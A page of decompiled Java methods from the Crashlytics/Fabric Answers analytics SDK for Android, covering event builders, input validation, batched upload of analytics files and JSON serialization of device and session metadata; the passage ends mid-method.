    CommonUtils.logControlled(this.context, "Sending all files");
    int filesSent = 0;
    List<File> batch = this.filesManager.getBatchOfFilesToSend();
    while (batch.size() > 0) {
        CommonUtils.logControlled(this.context, String.format(Locale.US, "attempt to send batch of %d files", new Object[]{Integer.valueOf(batch.size())}));
        boolean cleanup = this.filesSender.send(batch);
        if (cleanup) {
            filesSent += batch.size();
            this.filesManager.deleteSentFiles(batch);
        }
        if (!cleanup) {
            break;
        }
        try {
            batch = this.filesManager.getBatchOfFilesToSend();
        } catch (Exception e) {
            CommonUtils.logControlledError(this.context, "Failed to send batch of analytics files to server: " + e.getMessage(), e);
        }
    }
    if (filesSent == 0) {
        this.filesManager.deleteOldestInRollOverIfOverMax();
    }
}



106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133

cancelTimeBasedFileRollOver

Java Code
public void cancelTimeBasedFileRollOver() {
    if (this.rolloverFutureRef.get() != null) {
        CommonUtils.logControlled(this.context, "Cancelling time-based rollover because no events are currently being generated.");
        ((ScheduledFuture) this.rolloverFutureRef.get()).cancel(false);
        this.rolloverFutureRef.set(null);
    }
}



135
136
137
138
139
140
141

deleteAllEvents

Java Code
public void deleteAllEvents() {
    this.filesManager.deleteAllEventsFiles();
}



143
144
145

rollFileOver

Java Code
public boolean rollFileOver() {
    try {
        return this.filesManager.rollFileOver();
    } catch (IOException e) {
        CommonUtils.logControlledError(this.context, "Failed to roll file over.", e);
        return false;
    }
}



147
148
149
150
151
152
153
154

scheduleTimeBasedFileRollOver

Java Code
void scheduleTimeBasedFileRollOver(long initialDelaySecs, long frequencySecs) {
    if (this.rolloverFutureRef.get() == null) {
        Runnable rollOverRunnable = new TimeBasedFileRollOverRunnable(this.context, this);
        CommonUtils.logControlled(this.context, "Scheduling time based file roll over every " + frequencySecs + " seconds");
        try {
            this.rolloverFutureRef.set(this.executorService.scheduleAtFixedRate(rollOverRunnable, initialDelaySecs, frequencySecs, TimeUnit.SECONDS));
        } catch (RejectedExecutionException e) {
            CommonUtils.logControlledError(this.context, "Failed to schedule time based file roll over", e);
        }
    }
}



156
157
158
159
160
161
162
163
164
165
166

SessionMetadataCollector

Java Code
public SessionMetadataCollector(Context context, IdManager idManager, String versionCode, String versionName) {
    this.context = context;
    this.idManager = idManager;
    this.versionCode = versionCode;
    this.versionName = versionName;
}



16
17
18
19
20
21

getMetadata

Java Code
public SessionEventMetadata getMetadata() {
    Map<DeviceIdentifierType, String> deviceIdentifiers = this.idManager.getDeviceIdentifiers();
    return new SessionEventMetadata(this.idManager.getAppIdentifier(), UUID.randomUUID().toString(), this.idManager.getAppInstallIdentifier(), (String) deviceIdentifiers.get(DeviceIdentifierType.ANDROID_ID), (String) deviceIdentifiers.get(DeviceIdentifierType.ANDROID_ADVERTISING_ID), this.idManager.isLimitAdTrackingEnabled(), (String) deviceIdentifiers.get(DeviceIdentifierType.FONT_TOKEN), CommonUtils.resolveBuildId(this.context), this.idManager.getOsVersionString(), this.idManager.getModelName(), this.versionCode, this.versionName);
}



23
24
25
26

AnswersEventValidator

Java Code
public AnswersEventValidator(int maxNumAttributes, int maxStringLength, boolean failFast) {
    this.maxNumAttributes = maxNumAttributes;
    this.maxStringLength = maxStringLength;
    this.failFast = failFast;
}



12
13
14
15
16

limitStringLength

Java Code
public String limitStringLength(String value) {
    if (value.length() <= this.maxStringLength) {
        return value;
    }
    logOrThrowException(new IllegalArgumentException(String.format(Locale.US, "String is too long, truncating to %d characters", new Object[]{Integer.valueOf(this.maxStringLength)})));
    return value.substring(0, this.maxStringLength);
}



18
19
20
21
22
23
24

isNull

Java Code
public boolean isNull(Object object, String paramName) {
    if (object != null) {
        return false;
    }
    logOrThrowException(new NullPointerException(paramName + " must not be null"));
    return true;
}



26
27
28
29
30
31
32

isFullMap

Java Code
public boolean isFullMap(Map<String, Object> attributeMap, String key) {
    if (attributeMap.size() < this.maxNumAttributes || attributeMap.containsKey(key)) {
        return false;
    }
    logOrThrowException(new IllegalArgumentException(String.format(Locale.US, "Limit of %d attributes reached, skipping attribute", new Object[]{Integer.valueOf(this.maxNumAttributes)})));
    return true;
}



34
35
36
37
38
39
40

logOrThrowException

Java Code
private void logOrThrowException(RuntimeException ex) {
    if (this.failFast) {
        throw ex;
    }
    Fabric.getLogger().e(Answers.TAG, "Invalid user input detected", ex);
}



42
43
44
45
46
47

CustomEvent

Java Code
public CustomEvent(String eventName) {
    if (eventName == null) {
        throw new NullPointerException("eventName must not be null");
    }
    this.eventName = this.validator.limitStringLength(eventName);
}



6
7
8
9
10
11

getCustomType

Java Code
String getCustomType() {
    return this.eventName;
}



13
14
15

toString

Java Code
public String toString() {
    return "{eventName:\"" + this.eventName + '\"' + ", customAttributes:" + this.customAttributes + "}";
}



17
18
19

lifecycleEventBuilder

Java Code
public static Builder lifecycleEventBuilder(Type type, Activity activity) {
    return new Builder(type).details(Collections.singletonMap(ACTIVITY_KEY, activity.getClass().getName()));
}



76
77
78

installEventBuilder

Java Code
public static Builder installEventBuilder(long installedAt) {
    return new Builder(Type.INSTALL).details(Collections.singletonMap(INSTALLED_AT_KEY, String.valueOf(installedAt)));
}



80
81
82

crashEventBuilder

Java Code
public static Builder crashEventBuilder(String sessionId) {
    return new Builder(Type.CRASH).details(Collections.singletonMap(SESSION_ID_KEY, sessionId));
}



84
85
86

crashEventBuilder

Java Code
public static Builder crashEventBuilder(String sessionId, String exceptionName) {
    return crashEventBuilder(sessionId).customAttributes(Collections.singletonMap(EXCEPTION_NAME_KEY, exceptionName));
}



88
89
90

customEventBuilder

Java Code
public static Builder customEventBuilder(CustomEvent event) {
    return new Builder(Type.CUSTOM).customType(event.getCustomType()).customAttributes(event.getCustomAttributes());
}



92
93
94

predefinedEventBuilder

Java Code
public static Builder predefinedEventBuilder(PredefinedEvent<?> event) {
    return new Builder(Type.PREDEFINED).predefinedType(event.getPredefinedType()).predefinedAttributes(event.getPredefinedAttributes()).customAttributes(event.getCustomAttributes());
}



96
97
98

SessionEvent

Java Code
private SessionEvent(SessionEventMetadata sessionEventMetadata, long timestamp, Type type, Map<String, String> details, String customType, Map<String, Object> customAttributes, String predefinedType, Map<String, Object> predefinedAttributes) {
    this.sessionEventMetadata = sessionEventMetadata;
    this.timestamp = timestamp;
    this.type = type;
    this.details = details;
    this.customType = customType;
    this.customAttributes = customAttributes;
    this.predefinedType = predefinedType;
    this.predefinedAttributes = predefinedAttributes;
}



100
101
102
103
104
105
106
107
108
109

toString

Java Code
public String toString() {
    if (this.stringRepresentation == null) {
        this.stringRepresentation = "[" + getClass().getSimpleName() + ": " + "timestamp=" + this.timestamp + ", type=" + this.type + ", details=" + this.details + ", customType=" + this.customType + ", customAttributes=" + this.customAttributes + ", predefinedType=" + this.predefinedType + ", predefinedAttributes=" + this.predefinedAttributes + ", metadata=[" + this.sessionEventMetadata + "]]";
    }
    return this.stringRepresentation;
}



111
112
113
114
115
116

<clinit>

Java Code



Builder

Java Code
public Builder(Type type) {
    this.type = type;
}



31
32
33

details

Java Code
public Builder details(Map<String, String> details) {
    this.details = details;
    return this;
}



35
36
37
38

customType

Java Code
public Builder customType(String customType) {
    this.customType = customType;
    return this;
}



40
41
42
43

customAttributes

Java Code
public Builder customAttributes(Map<String, Object> customAttributes) {
    this.customAttributes = customAttributes;
    return this;
}



45
46
47
48

predefinedType

Java Code
public Builder predefinedType(String predefinedType) {
    this.predefinedType = predefinedType;
    return this;
}



50
51
52
53

predefinedAttributes

Java Code
public Builder predefinedAttributes(Map<String, Object> predefinedAttributes) {
    this.predefinedAttributes = predefinedAttributes;
    return this;
}



55
56
57
58

build

Java Code
public SessionEvent build(SessionEventMetadata sessionEventMetadata) {
    return new SessionEvent(sessionEventMetadata, this.timestamp, this.type, this.details, this.customType, this.customAttributes, this.predefinedType, this.predefinedAttributes);
}



60
61
62

putContentId

Java Code
public RatingEvent putContentId(String contentId) {
    this.predefinedAttributes.put(CONTENT_ID_ATTRIBUTE, contentId);
    return this;
}



10
11
12
13

putContentName

Java Code
public RatingEvent putContentName(String contentName) {
    this.predefinedAttributes.put(CONTENT_NAME_ATTRIBUTE, contentName);
    return this;
}



15
16
17
18

putContentType

Java Code
public RatingEvent putContentType(String contentType) {
    this.predefinedAttributes.put(CONTENT_TYPE_ATTRIBUTE, contentType);
    return this;
}



20
21
22
23

putRating

Java Code
public RatingEvent putRating(int rating) {
    this.predefinedAttributes.put("rating", Integer.valueOf(rating));
    return this;
}



25
26
27
28

getPredefinedType

Java Code
String getPredefinedType() {
    return "rating";
}



30
31
32

KeepAllEventFilter

Java Code



skipEvent

Java Code
public boolean skipEvent(SessionEvent sessionEvent) {
    return false;
}



7
8
9

putLevelName

Java Code
public LevelEndEvent putLevelName(String levelName) {
    this.predefinedAttributes.put(LEVEL_NAME_ATTRIBUTE, levelName);
    return this;
}



9
10
11
12

putScore

Java Code
public LevelEndEvent putScore(Number score) {
    this.predefinedAttributes.put(SCORE_ATTRIBUTE, score);
    return this;
}



14
15
16
17

putSuccess

Java Code
public LevelEndEvent putSuccess(boolean success) {
    this.predefinedAttributes.put(SUCCESS_ATTRIBUTE, success ? "true" : "false");
    return this;
}



19
20
21
22

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



24
25
26

getPredefinedType

Java Code



getPredefinedAttributes

Java Code
Map<String, Object> getPredefinedAttributes() {
    return this.predefinedAttributes.attributes;
}



10
11
12

toString

Java Code
public String toString() {
    return "{type:\"" + getPredefinedType() + '\"' + ", predefinedAttributes:" + this.predefinedAttributes + ", customAttributes:" + this.customAttributes + "}";
}



14
15
16

getInstance

Java Code
public static Answers getInstance() {
    return (Answers) Fabric.getKit(Answers.class);
}



25
26
27

logCustom

Java Code
public void logCustom(CustomEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logCustom");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onCustom(event);
    }
}



29
30
31
32
33
34
35
36
37

logPurchase

Java Code
public void logPurchase(PurchaseEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logPurchase");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



39
40
41
42
43
44
45
46
47

logLogin

Java Code
public void logLogin(LoginEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logLogin");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



49
50
51
52
53
54
55
56
57

logShare

Java Code
public void logShare(ShareEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logShare");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



59
60
61
62
63
64
65
66
67

logInvite

Java Code
public void logInvite(InviteEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logInvite");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



69
70
71
72
73
74
75
76
77

logSignUp

Java Code
public void logSignUp(SignUpEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logSignUp");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



79
80
81
82
83
84
85
86
87

logLevelStart

Java Code
public void logLevelStart(LevelStartEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logLevelStart");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



89
90
91
92
93
94
95
96
97

logLevelEnd

Java Code
public void logLevelEnd(LevelEndEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logLevelEnd");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



99
100
101
102
103
104
105
106
107

logAddToCart

Java Code
public void logAddToCart(AddToCartEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logAddToCart");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



109
110
111
112
113
114
115
116
117

logStartCheckout

Java Code
public void logStartCheckout(StartCheckoutEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logStartCheckout");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



119
120
121
122
123
124
125
126
127

logRating

Java Code
public void logRating(RatingEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logRating");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



129
130
131
132
133
134
135
136
137

logContentView

Java Code
public void logContentView(ContentViewEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logContentView");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



139
140
141
142
143
144
145
146
147

logSearch

Java Code
public void logSearch(SearchEvent event) {
    if (event == null) {
        throw new NullPointerException("event must not be null");
    } else if (this.firebaseEnabled) {
        logFirebaseModeEnabledWarning("logSearch");
    } else if (this.analyticsManager != null) {
        this.analyticsManager.onPredefined(event);
    }
}



149
150
151
152
153
154
155
156
157

onException

Java Code
public void onException(LoggedException exception) {
    if (this.analyticsManager != null) {
        this.analyticsManager.onError(exception.getSessionId());
    }
}



159
160
161
162
163

onException

Java Code
public void onException(FatalException exception) {
    if (this.analyticsManager != null) {
        this.analyticsManager.onCrash(exception.getSessionId(), exception.getExceptionName());
    }
}



165
166
167
168
169

onPreExecute

Java Code
protected boolean onPreExecute() {
    try {
        long installedAt;
        Context context = getContext();
        PackageManager packageManager = context.getPackageManager();
        String packageName = context.getPackageName();
        PackageInfo packageInfo = packageManager.getPackageInfo(packageName, 0);
        String versionCode = Integer.toString(packageInfo.versionCode);
        String versionName = packageInfo.versionName == null ? IdManager.DEFAULT_VERSION_NAME : packageInfo.versionName;
        if (VERSION.SDK_INT >= 9) {
            installedAt = packageInfo.firstInstallTime;
        } else {
            installedAt = new File(packageManager.getApplicationInfo(packageName, 0).sourceDir).lastModified();
        }
        this.analyticsManager = SessionAnalyticsManager.build(this, context, getIdManager(), versionCode, versionName, installedAt);
        this.analyticsManager.enable();
        this.firebaseEnabled = new FirebaseInfo().isFirebaseCrashlyticsEnabled(context);
        return true;
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Error retrieving app properties", e);
        return false;
    }
}



172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194

doInBackground

Java Code
protected Boolean doInBackground() {
    try {
        SettingsData settingsData = Settings.getInstance().awaitSettingsData();
        if (settingsData == null) {
            Fabric.getLogger().e(TAG, "Failed to retrieve settings");
            return Boolean.valueOf(false);
        } else if (settingsData.featuresData.collectAnalytics) {
            Fabric.getLogger().d(TAG, "Analytics collection enabled");
            this.analyticsManager.setAnalyticsSettingsData(settingsData.analyticsSettingsData, getOverridenSpiEndpoint());
            return Boolean.valueOf(true);
        } else {
            Fabric.getLogger().d(TAG, "Analytics collection disabled");
            this.analyticsManager.disable();
            return Boolean.valueOf(false);
        }
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Error dealing with settings", e);
        return Boolean.valueOf(false);
    }
}



196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215

getIdentifier

Java Code
public String getIdentifier() {
    return "com.crashlytics.sdk.android:answers";
}



217
218
219

getVersion

Java Code
public String getVersion() {
    return "1.4.1.19";
}



221
222
223

getOverridenSpiEndpoint

Java Code
String getOverridenSpiEndpoint() {
    return CommonUtils.getStringsFileValue(getContext(), CRASHLYTICS_API_ENDPOINT);
}



225
226
227

logFirebaseModeEnabledWarning

Java Code
private void logFirebaseModeEnabledWarning(String method) {
    Fabric.getLogger().w(TAG, "Method " + method + " is not supported when using Crashlytics through Firebase.");
}



229
230
231

logEvent

Java Code



logEvent

Java Code



putMethod

Java Code
public SignUpEvent putMethod(String signUpMethod) {
    this.predefinedAttributes.put(METHOD_ATTRIBUTE, signUpMethod);
    return this;
}



8
9
10
11

putSuccess

Java Code
public SignUpEvent putSuccess(boolean signUpSucceeded) {
    this.predefinedAttributes.put(SUCCESS_ATTRIBUTE, Boolean.toString(signUpSucceeded));
    return this;
}



13
14
15
16

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



18
19
20

AnswersEventsHandler

Java Code
public AnswersEventsHandler(Kit kit, Context context, AnswersFilesManagerProvider filesManagerProvider, SessionMetadataCollector metadataCollector, HttpRequestFactory requestFactory, ScheduledExecutorService executor, FirebaseAnalyticsApiAdapter firebaseAnalyticsApiAdapter) {
    this.kit = kit;
    this.context = context;
    this.filesManagerProvider = filesManagerProvider;
    this.metadataCollector = metadataCollector;
    this.requestFactory = requestFactory;
    this.executor = executor;
    this.firebaseAnalyticsApiAdapter = firebaseAnalyticsApiAdapter;
}



21
22
23
24
25
26
27
28
29

processEventAsync

Java Code
public void processEventAsync(Builder eventBuilder) {
    processEvent(eventBuilder, false, false);
}



31
32
33

processEventAsyncAndFlush

Java Code
public void processEventAsyncAndFlush(Builder eventBuilder) {
    processEvent(eventBuilder, false, true);
}



35
36
37

processEventSync

Java Code
public void processEventSync(Builder eventBuilder) {
    processEvent(eventBuilder, true, false);
}



39
40
41

setAnalyticsSettingsData

Java Code
public void setAnalyticsSettingsData(final AnalyticsSettingsData analyticsSettingsData, final String protocolAndHostOverride) {
    executeAsync(new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.setAnalyticsSettingsData(analyticsSettingsData, protocolAndHostOverride);
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to set analytics settings data", e);
            }
        }
    });
}



43
44
45
46
47
48
49
50
51
52
53

run

Java Code
public void run() {
    try {
        AnswersEventsHandler.this.strategy.setAnalyticsSettingsData(analyticsSettingsData, protocolAndHostOverride);
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to set analytics settings data", e);
    }
}



45
46
47
48
49
50
51

disable

Java Code
public void disable() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                SessionAnalyticsManagerStrategy prevStrategy = AnswersEventsHandler.this.strategy;
                AnswersEventsHandler.this.strategy = new DisabledSessionAnalyticsManagerStrategy();
                prevStrategy.deleteAllEvents();
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to disable events", e);
            }
        }
    });
}



55
56
57
58
59
60
61
62
63
64
65
66
67

run

Java Code
public void run() {
    try {
        SessionAnalyticsManagerStrategy prevStrategy = AnswersEventsHandler.this.strategy;
        AnswersEventsHandler.this.strategy = new DisabledSessionAnalyticsManagerStrategy();
        prevStrategy.deleteAllEvents();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to disable events", e);
    }
}



57
58
59
60
61
62
63
64
65

onRollOver

Java Code
public void onRollOver(String rolledOverFile) {
    executeAsync(new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.sendEvents();
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to send events files", e);
            }
        }
    });
}



69
70
71
72
73
74
75
76
77
78
79

run

Java Code
public void run() {
    try {
        AnswersEventsHandler.this.strategy.sendEvents();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to send events files", e);
    }
}



71
72
73
74
75
76
77

enable

Java Code
public void enable() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                SessionEventMetadata metadata = AnswersEventsHandler.this.metadataCollector.getMetadata();
                SessionAnalyticsFilesManager filesManager = AnswersEventsHandler.this.filesManagerProvider.getAnalyticsFilesManager();
                filesManager.registerRollOverListener(AnswersEventsHandler.this);
                AnswersEventsHandler.this.strategy = new EnabledSessionAnalyticsManagerStrategy(AnswersEventsHandler.this.kit, AnswersEventsHandler.this.context, AnswersEventsHandler.this.executor, filesManager, AnswersEventsHandler.this.requestFactory, metadata, AnswersEventsHandler.this.firebaseAnalyticsApiAdapter);
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to enable events", e);
            }
        }
    });
}



81
82
83
84
85
86
87
88
89
90
91
92
93
94

run

Java Code
public void run() {
    try {
        SessionEventMetadata metadata = AnswersEventsHandler.this.metadataCollector.getMetadata();
        SessionAnalyticsFilesManager filesManager = AnswersEventsHandler.this.filesManagerProvider.getAnalyticsFilesManager();
        filesManager.registerRollOverListener(AnswersEventsHandler.this);
        AnswersEventsHandler.this.strategy = new EnabledSessionAnalyticsManagerStrategy(AnswersEventsHandler.this.kit, AnswersEventsHandler.this.context, AnswersEventsHandler.this.executor, filesManager, AnswersEventsHandler.this.requestFactory, metadata, AnswersEventsHandler.this.firebaseAnalyticsApiAdapter);
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to enable events", e);
    }
}



83
84
85
86
87
88
89
90
91
92

flushEvents

Java Code
public void flushEvents() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.rollFileOver();
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to flush events", e);
            }
        }
    });
}



96
97
98
99
100
101
102
103
104
105
106

run

Java Code
public void run() {
    try {
        AnswersEventsHandler.this.strategy.rollFileOver();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to flush events", e);
    }
}



98
99
100
101
102
103
104

processEvent

Java Code
void processEvent(final Builder eventBuilder, boolean sync, final boolean flush) {
    Runnable runnable = new Runnable() {
        public void run() {
            try {
                AnswersEventsHandler.this.strategy.processEvent(eventBuilder);
                if (flush) {
                    AnswersEventsHandler.this.strategy.rollFileOver();
                }
            } catch (Exception e) {
                Fabric.getLogger().e(Answers.TAG, "Failed to process event", e);
            }
        }
    };
    if (sync) {
        executeSync(runnable);
    } else {
        executeAsync(runnable);
    }
}



108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126

run

Java Code
public void run() {
    try {
        AnswersEventsHandler.this.strategy.processEvent(eventBuilder);
        if (flush) {
            AnswersEventsHandler.this.strategy.rollFileOver();
        }
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to process event", e);
    }
}



110
111
112
113
114
115
116
117
118
119

executeSync

Java Code
private void executeSync(Runnable runnable) {
    try {
        this.executor.submit(runnable).get();
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to run events task", e);
    }
}



128
129
130
131
132
133
134

executeAsync

Java Code
private void executeAsync(Runnable runnable) {
    try {
        this.executor.submit(runnable);
    } catch (Exception e) {
        Fabric.getLogger().e(Answers.TAG, "Failed to submit events task", e);
    }
}



136
137
138
139
140
141
142

putContentId

Java Code
public ContentViewEvent putContentId(String contentId) {
    this.predefinedAttributes.put(CONTENT_ID_ATTRIBUTE, contentId);
    return this;
}



9
10
11
12

putContentName

Java Code
public ContentViewEvent putContentName(String contentName) {
    this.predefinedAttributes.put(CONTENT_NAME_ATTRIBUTE, contentName);
    return this;
}



14
15
16
17

putContentType

Java Code
public ContentViewEvent putContentType(String contentType) {
    this.predefinedAttributes.put(CONTENT_TYPE_ATTRIBUTE, contentType);
    return this;
}



19
20
21
22

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



24
25
26

DisabledSessionAnalyticsManagerStrategy

Java Code



setAnalyticsSettingsData

Java Code



processEvent

Java Code



sendEvents

Java Code



deleteAllEvents

Java Code



rollFileOver

Java Code
public boolean rollFileOver() throws IOException {
    return false;
}



22
23
24

scheduleTimeBasedRollOverIfNeeded

Java Code



cancelTimeBasedFileRollOver

Java Code



putMethod

Java Code
public LoginEvent putMethod(String loginMethod) {
    this.predefinedAttributes.put(METHOD_ATTRIBUTE, loginMethod);
    return this;
}



8
9
10
11

putSuccess

Java Code
public LoginEvent putSuccess(boolean loginSucceeded) {
    this.predefinedAttributes.put(SUCCESS_ATTRIBUTE, Boolean.toString(loginSucceeded));
    return this;
}



13
14
15
16

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



18
19
20

SessionEventTransform

Java Code



toBytes

Java Code
public byte[] toBytes(SessionEvent event) throws IOException {
    return buildJsonForEvent(event).toString().getBytes(HttpRequest.CHARSET_UTF8);
}



36
37
38

buildJsonForEvent

Java Code
public JSONObject buildJsonForEvent(SessionEvent event) throws IOException {
    try {
        JSONObject jsonObject = new JSONObject();
        SessionEventMetadata eventMetadata = event.sessionEventMetadata;
        jsonObject.put(APP_BUNDLE_ID_KEY, eventMetadata.appBundleId);
        jsonObject.put(EXECUTION_ID_KEY, eventMetadata.executionId);
        jsonObject.put(INSTALLATION_ID_KEY, eventMetadata.installationId);
        if (TextUtils.isEmpty(eventMetadata.advertisingId)) {
            jsonObject.put(ANDROID_ID_KEY, eventMetadata.androidId);
        } else {
            jsonObject.put(ADVERTISING_ID_KEY, eventMetadata.advertisingId);
        }
        jsonObject.put(LIMIT_AD_TRACKING_ENABLED_KEY, eventMetadata.limitAdTrackingEnabled);
        jsonObject.put(BETA_DEVICE_TOKEN_KEY, eventMetadata.betaDeviceToken);
        jsonObject.put(BUILD_ID_KEY, eventMetadata.buildId);
        jsonObject.put(OS_VERSION_KEY, eventMetadata.osVersion);
        jsonObject.put(DEVICE_MODEL_KEY, eventMetadata.deviceModel);
        jsonObject.put(APP_VERSION_CODE_KEY, eventMetadata.appVersionCode);
        jsonObject.put(APP_VERSION_NAME_KEY, eventMetadata.appVersionName);
        jsonObject.put(TIMESTAMP_KEY, event.timestamp);
        jsonObject.put(TYPE_KEY, event.type.toString());
        if (event.details != null) {
            jsonObject.put(DETAILS_KEY, new JSONObject(event.details));
        }
        jsonObject.put(CUSTOM_TYPE, event.customType);
        if (event.customAttributes != null) {
            jsonObject.put(CUSTOM_ATTRIBUTES, new JSONObject(event.customAttributes));
        }
        jsonObject.put(PREDEFINED_TYPE, event.predefinedType);
        if (event.predefinedAttributes != null) {
            jsonObject.put(PREDEFINED_ATTRIBUTES, new JSONObject(event.predefinedAttributes));
        }
        return jsonObject;
    } catch (JSONException e) {
        if (VERSION.SDK_INT >= 9) {
            throw new IOException(e.getMessage(), e);
        }
        throw new IOException(e.getMessage());
    }
}



41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

putMethod

Java Code
public InviteEvent putMethod(String inviteMethod) {
    this.predefinedAttributes.put(METHOD_ATTRIBUTE, inviteMethod);
    return this;
}



7
8
9
10

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



12
13
14

<clinit>

Java Code



putItemId

Java Code
public PurchaseEvent putItemId(String itemId) {
    this.predefinedAttributes.put(ITEM_ID_ATTRIBUTE, itemId);
    return this;
}



16
17
18
19

putItemName

Java Code
public PurchaseEvent putItemName(String itemName) {
    this.predefinedAttributes.put(ITEM_NAME_ATTRIBUTE, itemName);
    return this;
}



21
22
23
24

putItemType

Java Code
public PurchaseEvent putItemType(String itemType) {
    this.predefinedAttributes.put(ITEM_TYPE_ATTRIBUTE, itemType);
    return this;
}



26
27
28
29

putItemPrice

Java Code
public PurchaseEvent putItemPrice(BigDecimal itemPrice) {
    if (!this.validator.isNull(itemPrice, ITEM_PRICE_ATTRIBUTE)) {
        this.predefinedAttributes.put(ITEM_PRICE_ATTRIBUTE, Long.valueOf(priceToMicros(itemPrice)));
    }
    return this;
}



31
32
33
34
35
36

putCurrency

Java Code
public PurchaseEvent putCurrency(Currency currency) {
    if (!this.validator.isNull(currency, CURRENCY_ATTRIBUTE)) {
        this.predefinedAttributes.put(CURRENCY_ATTRIBUTE, currency.getCurrencyCode());
    }
    return this;
}



38
39
40
41
42
43

putSuccess

Java Code
public PurchaseEvent putSuccess(boolean purchaseSucceeded) {
    this.predefinedAttributes.put(SUCCESS_ATTRIBUTE, Boolean.toString(purchaseSucceeded));
    return this;
}



45
46
47
48

priceToMicros

Java Code
long priceToMicros(BigDecimal decimal) {
    return MICRO_CONSTANT.multiply(decimal).longValue();
}



50
51
52

getPredefinedType

Java Code
String getPredefinedType() {
    return TYPE;
}



54
55
56

<clinit>

Java Code



putItemId

Java Code
public AddToCartEvent putItemId(String itemId) {
    this.predefinedAttributes.put(ITEM_ID_ATTRIBUTE, itemId);
    return this;
}



15
16
17
18

putItemName

Java Code
public AddToCartEvent putItemName(String itemName) {
    this.predefinedAttributes.put(ITEM_NAME_ATTRIBUTE, itemName);
    return this;
}



20
21
22
23

putItemType

Java Code
public AddToCartEvent putItemType(String itemType) {
    this.predefinedAttributes.put(ITEM_TYPE_ATTRIBUTE, itemType);
    return this;
}



25
26
27
28

putItemPrice

Java Code
public AddToCartEvent putItemPrice(BigDecimal itemPrice) {
    if (!this.validator.isNull(itemPrice, ITEM_PRICE_ATTRIBUTE)) {
        this.predefinedAttributes.put(ITEM_PRICE_ATTRIBUTE, Long.valueOf(priceToMicros(itemPrice)));
    }
    return this;
}



30
31
32
33
34
35

putCurrency

Java Code
public AddToCartEvent putCurrency(Currency currency) {
    if (!this.validator.isNull(currency, CURRENCY_ATTRIBUTE)) {
